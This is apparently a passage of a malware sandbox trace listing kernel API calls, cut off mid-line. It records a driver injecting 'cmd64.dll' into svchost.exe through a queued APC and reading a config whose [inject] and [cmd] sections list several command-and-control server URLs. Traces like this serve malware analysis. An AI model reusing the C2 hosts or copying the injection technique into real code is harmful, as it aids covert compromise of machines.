Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.802] IdePortDispatch () returned 0x103 [0077.802] KeWaitForMutexObject () returned 0x0 [0077.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.802] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.802] IdePortDispatch () returned 0x103 [0077.802] KeWaitForMutexObject () returned 0x0 [0077.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.802] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.802] IdePortDispatch () returned 0x103 [0077.802] KeWaitForMutexObject () returned 0x0 [0077.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.802] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.802] IdePortDispatch () returned 0x103 [0077.803] KeWaitForMutexObject () returned 0x0 [0077.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.803] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.803] IdePortDispatch () returned 0x103 [0077.803] KeWaitForMutexObject () returned 0x0 [0077.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.803] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.803] IdePortDispatch () returned 0x103 [0077.803] KeWaitForMutexObject () returned 0x0 [0077.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.803] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.803] IdePortDispatch () returned 0x103 [0077.803] KeWaitForMutexObject () returned 0x0 [0077.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.804] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.804] IdePortDispatch () returned 0x103 [0077.804] KeWaitForMutexObject () returned 0x0 [0077.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.804] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.804] IdePortDispatch () returned 0x103 [0077.804] KeWaitForMutexObject () returned 0x0 [0077.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.804] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.804] IdePortDispatch () returned 0x103 [0077.804] KeWaitForMutexObject () returned 0x0 [0077.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.805] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.805] IdePortDispatch () returned 0x103 [0077.805] KeWaitForMutexObject () returned 0x0 [0077.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.805] KeLeaveCriticalRegion () [0077.805] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.805] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003b4, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0077.805] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0077.805] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0077.805] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003b4, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0077.805] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0077.805] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003633dc0 [0077.805] KeInitializeApc (Apc=0xfffffa8003633dc0, Thread=0xfffffa800363d3c0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0077.805] KeInsertQueueApc (Apc=0xfffffa8003633dc0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0077.805] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0077.806] ZwClose (Handle=0x14) returned 0x0 [0077.806] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0077.806] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.806] KeEnterCriticalRegion () [0077.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.806] IoGetRequestorProcess (Irp=0xfffffa8003622ee0) returned 0xfffffa80018ab040 [0077.806] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800363c3d0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0077.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.806] KeLeaveCriticalRegion () [0077.806] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.806] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0077.806] PsGetProcessImageFileName () returned 0xfffffa800363a520 [0077.806] _snprintf (in: _Dest=0xfffffa800363eee8, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0077.806] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0077.806] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0077.806] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.806] KeEnterCriticalRegion () [0077.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.806] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0077.806] IdePortDispatch () returned 0x103 [0077.806] KeWaitForMutexObject () returned 0x0 [0077.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.807] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0077.807] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0077.807] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0077.807] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c9899f0 [0077.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.807] KeLeaveCriticalRegion () [0077.807] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.807] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0077.807] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0077.807] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.807] KeEnterCriticalRegion () [0077.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003622ee0, Context=0x0) returned 0x0 [0077.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.807] KeLeaveCriticalRegion () [0077.807] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0077.807] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.807] KeEnterCriticalRegion () [0077.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.807] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0077.807] IdePortDispatch () returned 0x103 [0077.807] KeWaitForMutexObject () returned 0x0 [0077.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.808] KeLeaveCriticalRegion () [0077.808] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.808] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000b18010 [0077.808] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0077.808] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0077.808] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0077.808] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0077.808] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000b18010, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000b18010*) returned 0x0 [0077.808] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.808] KeEnterCriticalRegion () [0077.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.808] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9e010 [0077.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa800363a7f0 [0077.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800363a7f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800363a7f0) [0077.808] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.808] IdePortDispatch () returned 0x103 [0077.808] KeWaitForMutexObject () returned 0x0 [0077.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa800363a7f0 [0077.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800363a7f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800363a7f0) [0077.808] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.808] IdePortDispatch () returned 0x103 [0077.809] KeWaitForMutexObject () returned 0x0 [0077.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.809] KeLeaveCriticalRegion () [0077.809] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.809] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0077.809] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0077.809] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0077.809] ExFreePoolWithTag (P=0xfffff8a000b18010, Tag=0x0) [0077.809] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0077.809] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.809] KeEnterCriticalRegion () [0077.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.809] IoGetRequestorProcess (Irp=0xfffffa8003622ee0) returned 0xfffffa80018ab040 [0077.809] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800363be00, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0077.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.809] KeLeaveCriticalRegion () [0077.809] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.809] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.809] KeEnterCriticalRegion () [0077.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.809] ExFreePoolWithTag (P=0xfffffa800c9899f0, Tag=0x0) [0077.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.809] KeLeaveCriticalRegion () [0077.809] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.809] ZwClose (Handle=0xffffffff800003b4) returned 0x0 [0077.809] KeSetEvent (in: Event=0xfffffa800363ebc0, Increment=0x0, Wait=0 | out: Event=0xfffffa800363ebc0) returned 0 [0078.288] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x308, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800003ec) returned 0x0 [0078.288] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0078.288] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0078.288] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.288] KeEnterCriticalRegion () [0078.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.289] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0078.289] IdePortDispatch () returned 0x103 [0078.289] KeWaitForMutexObject () returned 0x0 [0078.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.289] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0078.289] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0078.289] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0078.289] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036580a0 [0078.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.289] KeLeaveCriticalRegion () [0078.289] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.289] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0078.289] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0078.289] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.289] KeEnterCriticalRegion () [0078.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80036557b0, Context=0x0) returned 0x0 [0078.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.289] KeLeaveCriticalRegion () [0078.289] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0078.289] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0078.289] KeEnterCriticalRegion () [0078.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034e8010 [0078.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034e8010 | out: Irp=0xfffffa80034e8010) returned 0xfffffa8003648530 [0078.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0078.289] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0078.289] IdePortDispatch () returned 0x103 [0078.289] KeWaitForMutexObject () returned 0x0 [0078.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0078.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0078.290] KeLeaveCriticalRegion () [0078.290] IofCompleteRequest (Irp=0xfffffa80036557b0, PriorityBoost=0) [0078.290] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000a8ce60 [0078.290] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0078.290] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0078.290] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: 